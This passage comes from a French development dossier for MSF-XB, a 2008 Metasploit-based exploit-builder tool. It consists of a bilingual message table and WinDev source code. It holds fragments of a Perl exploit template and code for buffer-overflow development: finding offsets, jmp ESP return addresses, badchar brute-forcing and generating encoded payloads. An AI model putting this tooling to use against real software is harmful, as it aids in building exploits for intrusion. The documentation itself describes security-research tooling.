Page 605: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 610

N° Message

2061 FR,GB: , PeerPort=>2062 FR,GB: ) or die 2063 FR: \nNON CONNECTE\n

GB: \nNOT CONNECTED\n2064 FR,GB: $connection->autoflush(1);2065 FR,GB: my $data=<$connection>;2066 FR,GB: print $data;2067 FR,GB: #Send the command2068 FR,GB: print $connection 2069 FR,GB: $exploit\r\n2070 FR,GB: close($connection);2071 FR,GB: perl 2072 FR: Le processus semble mort! ;-) Le relancer?

GB: Process seems dead! ;-) - Reload it?2073 FR,GB: BTN_EXECUTE_PROCESS..clic2074 FR,GB: Le service à l'air mort! ;-) - Le relancer?2075 FR: NON CONNECTE

GB: NOT CONNECTED2076 FR: #Affiche la réponse du serveur

GB: #Display the server answer2077 FR: #Code de test généré par MSF-XB - https://www.securinfos.info - Jérôme Athias

GB: #Test code generated by MSF-XB - https://www.securinfos.info - Jerome Athias2078 FR: #Affiche la réponse du serveur

GB: #Display the server answer2079 FR: Débogueur non trouvé dans

GB: Debugger not found in2080 FR: modifiez le chemin DEBUGGER_PATH dans le fichier MSF-XB.INI

GB: edit DEBUGGER_PATH in the file MSF-XB.INI2081 FR: Erreur: fichier

GB: Error: file 2082 FR: non trouvé!

GB: not found!2083 FR: #MSF-XB: Changer le nombre de nops selon le besoin

GB: #MSF-XB: Change the number of nops value as needed

Page 606: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 611

N° Message

2084 FR: #MSF-XB: Placer la commande qui déclenche le bogue iciGB: #MSF-XB: Place the command which trigs the bug here

2085 FR: #MSF-XB: peut être utile..."GB: #MSF-XB: Could be useful..."

2086 FR: #MSF-XB peut être utile...GB: #MSF-XB Could be useful...

2087 FR: #MSF-XB: Peut être utile...GB: #MSF-XB: Could be useful...

2088 FR: Impossible de charger la DLLGB: Impossible to load the DLL

2089 FR: DLL non chargéeGB: DLL not loaded

2090 FR: Vous devez spécifier le PIDGB: You must specify the PID

2091 FR: Dumpé dans GB: Dumped in

2092 FR: memdump non trouvé dansGB: memdump not found in

2093 FR: opcodes/adresses de retour listés dans GB: opcodes/return addresses listed in

2094 FR: Voulez-vous lancer votre débogueur?GB: Do you want to launch your debugger?

2095 FR: #"+sMonAdresseRetourDescription MSF-XB: Changez cette valeurGB: #MSF-XB: Change this value

2096 FR: Bannière du service vulnérableGB: Vulnerable service banner

2097 FR: Le programme ne tourne pas. Le lancer?GB: Program is not running. Launch it?

2098 FR: TousGB: All

2099 FR: Fichier Exécutable (*.EXE)GB: Executable File (*.EXE)

2100 FR: Sélectionner un fichierGB: Select a file

Page 607: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 612

N° Message

2101 FR: Findjmp2.exe non trouvé dans:GB: Findjmp2.exe not found in:

2102 FR: Ouvrir le fichier?GB: Open the file?

2103 FR: Taille: GB: Size:

2104 FR: Processus non lancé ou mort!GB: Process not launched or dead!

2105 FR:GB: Key

2106 FR: EDX est sur-écrit: on va changer la dernière instruction ASMGB: EDX is overwritten: we will change the last ASM instruction

2107 FR: Programme déjà lancé.GB: Process allready running.

2108 FR: https://www.securinfos.info/index.phpGB: https://www.securinfos.info/english/index.php

2109 FR: Sélectionnez un fichier...GB: Select a file...

2110 FR: Tous fichiers (*.*)GB: All Files (*.*)

2111 FR: erreur de connexion par socketGB: socket connection error

2112 FR: EIP est sur-écrit: on va utiliser un opcode de type jmp ESPGB: EIP is overwritten: we will use an opcode like jmp ESP

2113 FR: EDX doit pointer vers un emplacement mémoire ne contenant pas de 0GB: EDX must point to a memory location not holding 0

2114 FR: Pattern videGB: Pattern empty

2115 FR: détecté comme caractère interdit -> supprimé de la patternGB: detected as a badchar -> removed from the pattern

2116 FR: # bannière nmap: GB: # nmap banner:

2117 FR: ERREUR: je ne peux pas dumper la mémoire si un débogueur est déjà attaché au processus!GB: ERROR: i can't dump the memory if a debugger is allready attached to the process!

Page 608: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 613

N° Message

2118 FR: Lancement de MSFWEB...GB: Launching MSFWEB...

2119 FR: Vous devez choisir un payload (fichier .rb)GB: You must choose a payload (.rb file)

2120 FR: Récupération d'informations sur le payload...GB: Retrieving information about the payload...

2121 FR: Génération du payload encodé...GB: Generating the encoded payload...

2122 FR: Payload exécutable: GB: Executable payload:

2123 FR: Pas de commande spécifiée, continuer?GB: No command specified, continue?

2124 FR: La pattern ne semble pas encodée en JavaScript, continuer?GB: Pattern seems not JavaScript encoded, continue?

2125 FR: Offset non trouvé! :-(GB: Offset not found! :-(

2126 FR: Voir les résultats?GB: Display the results?

2127 FR: TOOLZ\mycrc.exe non trouvéGB: TOOLZ\mycrc.exe not found

2128 FR: Script Python généré dans GB: Python script generated in

2129 FR: Script Perl généré dans GB: Perl script generated in

2130 FR: Données envoyéesGB: Data sent

2131 FR:GB: No occurrence of '%1' found.

2132 FR:GB: Search completed

2133 FR: Remplacement effectuéGB: Replace completed.

2134 FR: Aucune occurrence du mot '%1' n'a été trouvée dans le texte.GB: No occurrence of '%1' found.

Page 609: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 614

N° Message

2135 FR: La recherche est terminée.GB: Search completed.

2136 FR: Le remplacement est terminé.GB: Replace completed.

2137 FR: Bruteforce terminéGB: Bruteforce finished

2138 FR: Fichier non trouvé:GB: File not found:

2139 FR: # Editeur: GB: # Vendor:

N° mess.: numéro de message.

Page 610: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 615

MSFXB_Assistant Code

Déclarations globales de MSFXB_AssistantGLOBAL

sCheminDebugger is string=INILit("CONFIG", "DEBUGGER_PATH", "C:\odbg110\OLLYDBG.EXE", sCheminINI)

nCpt is int

gnInstanceDLL est un entier système //Instance d'une DLL chargée en mémoiregnBruteForceBadcharsActif is int=0

Initialisation de MSFXB_AssistantCOMBO_TARGET=8 //"windows"SAI_CLSID=""//si enmodetest() alors// DLL_PID..Visible=vrai//FIN

//Initialisation de la combo protocole//On utilise la liste des répertoires du répertoire "exploits" du MSF3 si le chemin du MSF3 est connuSI gsCheminMSF3<>"" ET fRépertoireExiste(gsCheminMSF3) ALORS //MSF3 installé

//On crée un zone mémoire pour trier les protocoles dans la comboMemCrée("ZONE_PROTOCOLE")

//Par défaut: gsCheminMSF3 is string="C:\Program Files\Metasploit\Framework3\"SI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS //On ajoute "home\" dans le path

fListeRépertoire(gsCheminMSF3+"home\framework\modules\exploits\", Init_Combo_Protocole)SINON

SI fTaille(gsCheminMSF3+"framework\modules\README")>0 ALORSfListeRépertoire(gsCheminMSF3+"framework\modules\exploits\", Init_Combo_Protocole)

SINON//On essaie TrunkgsCheminMSF3=INILit("CONFIG", "MSF3_TRUNK_PATH", SysRep(srProgramFiles)+"\Metasploit\Framework3\framework\msf3-trunk\", sCheminINI)//3.xfListeRépertoire(gsCheminMSF3+"modules\exploits\", Init_Combo_Protocole)

FIN

Page 611: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 616

FIN

MemTrie("ZONE_PROTOCOLE")MemPremier("ZONE_PROTOCOLE")TANTQUE PAS MemEnDehors("ZONE_PROTOCOLE")

ListeAjoute(COMBO_PROTOCOLE, MemRécupère("ZONE_PROTOCOLE", MemEnCours("ZONE_PROTOCOLE") ) )MemSuivant("ZONE_PROTOCOLE")

FIN

MemSupprime("ZONE_PROTOCOLE")

//Chemin pour les shellcodesSI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS //On ajoute "home\" dans le path

SC_SelecteurShellcode.SAI_FIC= gsCheminMSF3 + "home\framework\external\source\shellcode\"SINON

SC_SelecteurShellcode.SAI_FIC= gsCheminMSF3 + "framework\external\source\shellcode\"FIN//Chemin pour les payloadsSI SC_SelecteurPayload.SAI_FIC="" ALORS

SI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS //On ajoute "home\" dans le pathSC_SelecteurPayload.SAI_FIC= gsCheminMSF3 + "home\framework\modules\payloads\singles\windows\"

SINONSC_SelecteurPayload.SAI_FIC= gsCheminMSF3 + "framework\modules\payloads\singles\windows\"

FINFIN

FIN

//Initialisation de la combo locales// HLitPremier(LANG)// tantque pas hendehors// ListeAjoute(COMBO_Locale, lang.Abreviation)// HLitSuivant(LANG)// FINSI COMBO_Locale..ValeurAffichée="" ALORS

//Recherche et affichage de la locale du poste en courssMaLocale is string=RegistreLit("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NLS\Language\", "InstallLanguage")HLitRecherche(LANG,ValeurRegistre,sMaLocale)SI HTrouve ALORS

COMBO_Locale=LANG.IDLANGFIN

FIN

ListeSupprimeTout(COMBO_FUZZER)ListeAjoute(COMBO_FUZZER, "TAOF\taof.exe")COMBO_FUZZER=1

Page 612: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 617

SI SAI_PROCESSUS<>"" ALORSExécute("BTN_RECHERCHE_PID..clic")

//On essaie de trouver le protocole correspondant à l'applinCpt=2SI ChaîneOccurrence(Upper(SAI_PROCESSUS),"FTP")>0 ALORS

COMBO_PROTOCOLE=1TANTQUE Upper(COMBO_PROTOCOLE..ValeurAffichée)<>"FTP" ET nCpt<ListeOccurrence(COMBO_PROTOCOLE)

COMBO_PROTOCOLE=nCptnCpt++

FINExécuteTraitement(COMBO_PROTOCOLE,trtSélection)

FIN

//On liste les DLLs chargées par le processusTableSupprimeTout(TABLE_DLL_MEMOIRE)ListeAjoute(TABLE_DLL_MEMOIRE,ExeListeDLL(SAI_PID))SI PAS TABLE_DLL_MEMOIRE..Vide ALORS

TABLE_DLL_MEMOIRE..Visible=Vrai//Récupération d'informations sur les DLLs chargées par le processusnTemp is int=TableOccurrence(TABLE_DLL_MEMOIRE)POUR nCpt=1 A nTemp

//On cherche le PID de chaque DLL chargée en mémoire par le processus// TABLE_DLL_MEMOIRE[nCpt][2] = TROUVE_PID_PROCESSUS( fExtraitChemin(TABLE_DLL_MEMOIRE[nCpt][1],fFichier+fExtension) )//Version de la DLLTABLE_DLL_MEMOIRE[nCpt][3] = ExeInfo(exeVersion,TABLE_DLL_MEMOIRE[nCpt][1])

FINFIN

//On liste les DLLs trouvées dans le path de l'exécutableTableSupprimeTout(TABLE_DLL)fListeFichier(fExtraitChemin(SAI_PROCESSUS,fDisque+fRépertoire)+"*.DLL", "fctAjouteDllDansTable")

GR_INFO_PROCESS..Visible=VraiFIN

SI EnModeTest() ALORSGR_SPACE..Visible=Vrai

FIN

SI SAI_Commande="" ALORSSAI_Commande="Faultmon.exe /P MYPID"

FIN

SI EnModeTest() ALORS

Page 613: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 618

// SAI_CLSID..Visible=vrai// SAI_ProgID..Visible=Vrai// GR_HTTP..Visible=VraiSINON

RepriseSaisie(SAI_PROCESSUS)FIN

//On cache les libellés affichés dans WinDEVLIB_SizePayload=""LIB_CommentPayload=""

fctCalculCurseur

Prise de focus de MSFXB_Assistant

SI sai_pid<>0 ET sai_pid<>"" ALORSsai_pid=TROUVE_PID_PROCESSUS(fExtraitChemin(SAI_PROCESSUS,fFichier+fExtension))SI sai_pid=0 ALORS

Message("Processus non lancé ou mort!")FIN

FIN

Page 614: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 619

MSFXB_Assistant Code des champs

Clic sur BTN_Button1// Open the help page associated witht the current windowWHelp( "Help MSF-XB005.chm", NumHelp(MySelf))

Clic sur BTN_ExecuteCommandesMaCommande is string=fctVariablesGlobales(SAI_Commande)

sEXE is stringSI ChaîneOccurrence(SAI_Commande, " ")>0 ALORS

sEXE=ExtraitChaîne(SAI_Commande,1," ")SINON

sEXE=SAI_CommandeFIN//On vérifie si l'EXE est dans le répertoire courant, ou dans le répertoire TOOLZ// sinon on considère qu'il est dans le pathSI fTaille(sEXE)<=0 ALORS

SI fTaille(ComplèteRep(fRepEnCours()) + "TOOLZ\" + sexe)>0 ALORSsMaCommande=Remplace(sMaCommande, sEXE, "") //On vire déjà l'EXEsMaCommande=Caract(34)+ ComplèteRep(fRepEnCours()) + "TOOLZ\" + sEXE +Caract(34)+ sMaCommande

FINFIN

DDELance(sMaCommande, DDEInactif, Faux)

Clic sur DEBUGGERSI fTaille(Caract(34)+ INILit("CONFIG","DEBUGGER_PATH","C:\odbg110\OLLYDBG.EXE",sCheminINI) +Caract(34))=0 ALORS

Error("Débogueur non trouvé dans"+RC+ Caract(34)+INILit("CONFIG","DEBUGGER_PATH","C:\odbg110\OLLYDBG.EXE",sCheminINI)+Caract(34) +RC+"modifiez le chemin DEBUGGER_PATH dans le fichier MSF-XB.INI")

SINONDDELance(Caract(34)+ INILit("CONFIG","DEBUGGER_PATH","C:\odbg110\OLLYDBG.EXE /prefetch:1",sCheminINI) +Caract(34))

FIN

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_EAX1

Page 615: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 620

branchseeker(MoiMême..Libellé, 1)

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_EBP1branchseeker(MoiMême..Libellé, 1)

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_EBX1branchseeker(MoiMême..Libellé, 1)

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_ECX1branchseeker(MoiMême..Libellé, 1)

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_EDI1branchseeker(MoiMême..Libellé, 1)

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_EDX1branchseeker(MoiMême..Libellé, 1)

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_ESI1branchseeker(MoiMême..Libellé, 1)

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_ESP1branchseeker(MoiMême..Libellé, 1)

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_POP_POP_RET.OPT_EAX2branchseeker(MoiMême..Libellé, 2)

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_POP_POP_RET.OPT_EBP2

Page 616: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 621

branchseeker(MoiMême..Libellé, 2)

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_POP_POP_RET.OPT_EBX2branchseeker(MoiMême..Libellé, 2)

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_POP_POP_RET.OPT_ECX2branchseeker(MoiMême..Libellé, 2)

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_POP_POP_RET.OPT_EDI2branchseeker(MoiMême..Libellé, 2)

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_POP_POP_RET.OPT_EDX2branchseeker(MoiMême..Libellé, 2)

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_POP_POP_RET.OPT_ESI2branchseeker(MoiMême..Libellé, 2)

Sélection du menu de MENU_MemDump.OPT_Branchseeker.OPT_POP_POP_RET.OPT_ESP2branchseeker(MoiMême..Libellé, 2)

Sélection du menu de MENU_MemDump.OPT_Findjmp2.OPT_EAXfctFindjmp2(MoiMême..Libellé)

Sélection du menu de MENU_MemDump.OPT_Findjmp2.OPT_EBPfctFindjmp2(MoiMême..Libellé)

Sélection du menu de MENU_MemDump.OPT_Findjmp2.OPT_EBX

Page 617: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 622

fctFindjmp2(MoiMême..Libellé)

Sélection du menu de MENU_MemDump.OPT_Findjmp2.OPT_ECXfctFindjmp2(MoiMême..Libellé)

Sélection du menu de MENU_MemDump.OPT_Findjmp2.OPT_EDIfctFindjmp2(MoiMême..Libellé)

Sélection du menu de MENU_MemDump.OPT_Findjmp2.OPT_EDXfctFindjmp2(MoiMême..Libellé)

Sélection du menu de MENU_MemDump.OPT_Findjmp2.OPT_ESIfctFindjmp2(MoiMême..Libellé)

Sélection du menu de MENU_MemDump.OPT_Findjmp2.OPT_ESPfctFindjmp2(MoiMême..Libellé)

Sélection du menu de MENU_MemDump.OPT_Memdump

TROUVE_PID_PROCESSUS(fExtraitChemin(SAI_PROCESSUS,fFichier+fExtension))

Sélection du menu de MENU_MemDump.OPT_MsfpescansListeDLLs is string=""SI TableSelectOccurrence(TABLE_DLL_MEMOIRE)>1 ALORS

//On a sélectionné une liste de DLLsnMonCompteur is intnOcc is int=TableSelectOccurrence(TABLE_DLL_MEMOIRE)POUR nmoncompteur=1 A nOcc

sListeDLLs+= TABLE_DLL_MEMOIRE[TableSelect(TABLE_DLL_MEMOIRE, nMonCompteur)][1] +TAB //Récupération du cheminFIN

Page 618: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 623

FINOuvreFille(FEN_msfpescan, DLL_CHEMIN, sListeDLLs)

Clic sur BTN_ASCIIOuvre(TABLE_ASCII,PAYLOAD_BADCHARS)

Clic sur BTN_Bouton1

sCheminFuzzer is string=fRepEnCours()+"\TOOLZ\FUZZERS\"+ExtraitChaîne(COMBO_FUZZER..ValeurAffichée,1,TAB,DepuisFin)

SI fFichierExiste(sCheminFuzzer) ALORSsCheminFuzzer=Caract(34)+sCheminFuzzer+Caract(34)DDELance(sCheminFuzzer)

SINONError("Erreur: fichier "+sCheminFuzzer+" non trouvé!")

FIN

Clic sur BTN_Bouton2SAI_PID=0SAI_PROCESSUS_VERSION=""SAI_PROCESSUS_SOCIETE=""

//SAI_PROCESSUS=fSélecteur(ComplèteRep(SysRep(srProgramFiles)), "", "Sélectionner un fichier", ...// "Fichier Exécutable (*.EXE)"+TAB+"*.exe"...// +RC+"DLLs"+TAB+"*.dll"...// +RC+"OCX"+TAB+"*.ocx"...// +RC+"Tous"+TAB+"*.*", "exe")

SAI_PROCESSUS=fSélecteur("", "", "Sélectionner un fichier", ..."Fichier Exécutable (*.EXE)"+TAB+"*.exe"...+RC+"DLLs"+TAB+"*.dll"...+RC+"OCX"+TAB+"*.ocx"...+RC+"Tous"+TAB+"*.*", "exe")

fctInfoProcessus()

Clic sur BTN_Bouton3

Page 619: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 624

//IMPORTE une liste de commandes depuis un fichier textenNuFic=fOuvre("COMMANDS_FTP.TXT")sMaChaine is string=fLitLigne(nNuFic)TANTQUE sMaChaine<>EOT

COMMANDS.PROTOCOLE="FTP"COMMANDS.COMMAND=sMaChaineHAjoute(COMMANDS)

sMaChaine=fLitLigne(nNuFic)FINfFerme(nNuFic)

Clic sur BTN_BruteForceSI gnBruteForceBadcharsActif ALORS

gnBruteForceBadcharsActif=0SINON

gnBruteForceBadcharsActif=1FIN//1 : &Caractère//2 : &Debug//3 : &AnnulerSELON Dialogue("Type de force brute")

CAS 1 //Caractère par caractère (filtre serveur)fctBruteForceBadchars()

CAS 2 //Debug// On doit envoyer: la chaine qui fait planter (moins quelques caractères) + les caractères ASCIISAI_PATTERN_TAILLE-=8SI SAI_PATTERN_TAILLE <=0 ALORS

SAI_PATTERN_TAILLE=0SINON

SAI_PATTERN_CAR="A"ExécuteTraitement(BTN_GENERER_PATTERN1, trtClic)

FIN

SAI_ASCII1=1SAI_ASCII2=255ExécuteTraitement(BTN_GENERER_ASCII, trtClic)

CAS 3

FIN

Clic sur BTN_CALC

Page 620: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 625

DDELance("calc.exe")

Clic sur BTN_CALCULER_SPACEsCheminPatternOffset is string=gsCheminMSF3+"tools\pattern_offset.rb"SI fTaille(sCheminPatternOffset) > 0 ALORS

SINONsCheminPatternOffset=fRechercheFichier(gsCheminMSF3, "pattern_offset.rb")

FIN//Ici on utilise le MSF3//Par défaut: ="C:\Program Files\Metasploit\Framework3\"

lpCmdLine is string// SI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS //On ajoute "home\" dans le path//lpCmdLine=Caract(34)+gsCheminMSF3+"bin\ruby"+Caract(34)+" "+Caract(34)+gsCheminMSF3+"home\framework\tools\pattern_offset.rb"+Caract(34)+" "+SAI_ADRESSE+" "+SAI_PATTERN_TAILLE

// sinon//lpCmdLine=caract(34)+gsCheminMSF3+"bin\ruby"+caract(34)+" "+Caract(34)+gsCheminMSF3+"framework\tools\pattern_offset.rb"+Caract(34)+" "+sai_adresse+" "+SAI_PATTERN_TAILLE

//+">c:\pattern.txt"// fin

lpCmdLine=Caract(34)+gsCheminRuby+Caract(34)+" "+Caract(34)+sCheminPatternOffset+Caract(34)+" "+SAI_ADRESSE+" "+SAI_PATTERN_TAILLE//+">c:\pattern.txt"SI EnModeTest() ALORS VersPressePapier(lpCmdLine)

MyDos:CommandLine_Let(lpCmdLine)

//On récupère la chaîne pattern alpha-numérique non-redondanteSAI_SPACE=NoSpace(MyDos:ExecuteCommand())

// SAI_SPACE=485 //EN DUR!!!

SI SAI_SPACE<>0 ALORSSAI_PATTERN_TAILLE=SAI_SPACESAI_PATTERN_CAR="A"Exécute("BTN_GENERER_PATTERN1..clic")

SCFindReplaceTXT.SAI_PATTERN+="BBBB"LIB_Taille_Pattern=Taille(SCFindReplaceTXT.SAI_PATTERN)

SINONInfo("Offset non trouvé! :-(")

FIN

Page 621: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 626

SI 2=2 ALORS

SINON

//Ici on utilise le MSF2//Par défaut: ="C:\Program Files\Metasploit Framework\"

//On lance cygwinnResHandleFen is system int = SysFenHandle("~/framework")SI nResHandleFen<=0 ALORS nResHandleFen = SysFenHandle("~")SI nResHandleFen<=0 ALORS

//On lance cygwinLanceAppli(Caract(34)+gsCheminMSF2+"cygwin.bat"+Caract(34),exeIconise,exeNonBloquant, gsCheminMSF2)

FINheureDebut is int=HeureSys()TANTQUE nResHandleFen<=0 ET HeureVersEntier(HeureSys())-heureDebut<500

Multitâche(20)nResHandleFen= SysFenHandle("~")

FINSI nResHandleFen>0 ALORS

// EnvoieTouche("msfpescan"+SAI_OPCODE_LIST_PARAMETRES+"{ENTREE}",nResHandleFen)EnvoieTouche("cd framework"+"{ENTREE}",nResHandleFen)

SI 1=2 ALORSEnvoieTouche("p",nResHandleFen)Multitâche(5)EnvoieTouche("e",nResHandleFen)Multitâche(5)EnvoieTouche("r",nResHandleFen)Multitâche(5)EnvoieTouche("l",nResHandleFen)Multitâche(5)EnvoieTouche(" ",nResHandleFen)Multitâche(5)EnvoieTouche("-",nResHandleFen)Multitâche(5)EnvoieTouche("l",nResHandleFen)Multitâche(5)EnvoieTouche(" ",nResHandleFen)Multitâche(5)EnvoieTouche("f",nResHandleFen)Multitâche(5)EnvoieTouche("r",nResHandleFen)Multitâche(5)

Page 622: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 627

EnvoieTouche("a",nResHandleFen)Multitâche(5)EnvoieTouche("m",nResHandleFen)Multitâche(5)EnvoieTouche("e",nResHandleFen)Multitâche(5)EnvoieTouche("w",nResHandleFen)Multitâche(5)EnvoieTouche("o",nResHandleFen)Multitâche(5)EnvoieTouche("r",nResHandleFen)Multitâche(5)EnvoieTouche("k",nResHandleFen)Multitâche(5)EnvoieTouche("/",nResHandleFen)Multitâche(5)EnvoieTouche("l",nResHandleFen)Multitâche(5)EnvoieTouche("i",nResHandleFen)Multitâche(5)EnvoieTouche("b",nResHandleFen)EnvoieTouche(" ",nResHandleFen)EnvoieTouche("-",nResHandleFen)EnvoieTouche("e",nResHandleFen)EnvoieTouche(" ",nResHandleFen)EnvoieTouche("'",nResHandleFen)EnvoieTouche("u",nResHandleFen)EnvoieTouche("s",nResHandleFen)EnvoieTouche("e",nResHandleFen)EnvoieTouche(" ",nResHandleFen)EnvoieTouche("P",nResHandleFen)EnvoieTouche("e",nResHandleFen)EnvoieTouche("x",nResHandleFen)EnvoieTouche(":",nResHandleFen)EnvoieTouche(":",nResHandleFen)EnvoieTouche("T",nResHandleFen)EnvoieTouche("e",nResHandleFen)EnvoieTouche("x",nResHandleFen)EnvoieTouche("t",nResHandleFen)EnvoieTouche(":",nResHandleFen)EnvoieTouche(":",nResHandleFen)EnvoieTouche("P",nResHandleFen)EnvoieTouche("a",nResHandleFen)EnvoieTouche("t",nResHandleFen)EnvoieTouche("t",nResHandleFen)EnvoieTouche("e",nResHandleFen)

Page 623: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 628

EnvoieTouche("r",nResHandleFen)EnvoieTouche("n",nResHandleFen)EnvoieTouche("C",nResHandleFen)EnvoieTouche("r",nResHandleFen)EnvoieTouche("e",nResHandleFen)EnvoieTouche("a",nResHandleFen)EnvoieTouche("t",nResHandleFen)EnvoieTouche("e",nResHandleFen)

FIN

// EnvoieTouche(caract(40),nResHandleFen)EnvoieTouche("perl sdk/patternOffset.pl "+SAI_ADRESSE+" "+SAI_PATTERN_TAILLE+" >space.txt"+"{ENTREE}",nResHandleFen)

SI 1=2 ALORSEnvoieTouche("{",nResHandleFen)EnvoieTouche("(",nResHandleFen)EnvoieTouche("}",nResHandleFen)EnvoieTouche(SAI_PATTERN_TAILLE,nResHandleFen)EnvoieTouche(Caract(41),nResHandleFen)EnvoieTouche("'",nResHandleFen)EnvoieTouche(">",nResHandleFen)EnvoieTouche("p",nResHandleFen)EnvoieTouche("a",nResHandleFen)EnvoieTouche("t",nResHandleFen)EnvoieTouche("t",nResHandleFen)EnvoieTouche("e",nResHandleFen)EnvoieTouche("r",nResHandleFen)EnvoieTouche("n",nResHandleFen)EnvoieTouche(".",nResHandleFen)EnvoieTouche("t",nResHandleFen)EnvoieTouche("x",nResHandleFen)EnvoieTouche("t",nResHandleFen)Multitâche(10)EnvoieTouche("{ENTREE}",nResHandleFen)

FIN

Multitâche(200)

//On récupère la chaîne pattern alpha-numérique non-redondanteSAI_SPACE=fChargeTexte(gsCheminMSF2+"home\framework\space.txt")

FIN

//On kill la fenêtrenResHandleFen=SysFenHandle("~/framework")ExeTermine(nResHandleFen)

Page 624: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 629

fSupprime("space.txt")

//Voir: http://metasploit.blogspot.com/2006/04/groupwise-messenger-server.html// $ perl sdk/patternOffset.pl 0x61614273 8192

FIN

Clic sur BTN_CONVERT

SELON COMBO_Convertion..ValeurAffichéeCAS "ascii2hex"

SCFindReplaceTXT.SAI_PATTERN= ASCII2HEX(SCFindReplaceTXT.SAI_PATTERN, "")CAS "hex2ascii"

SCFindReplaceTXT.SAI_PATTERN= HEX2ASCII(SCFindReplaceTXT.SAI_PATTERN, "", 0)CAS "string2utf8"

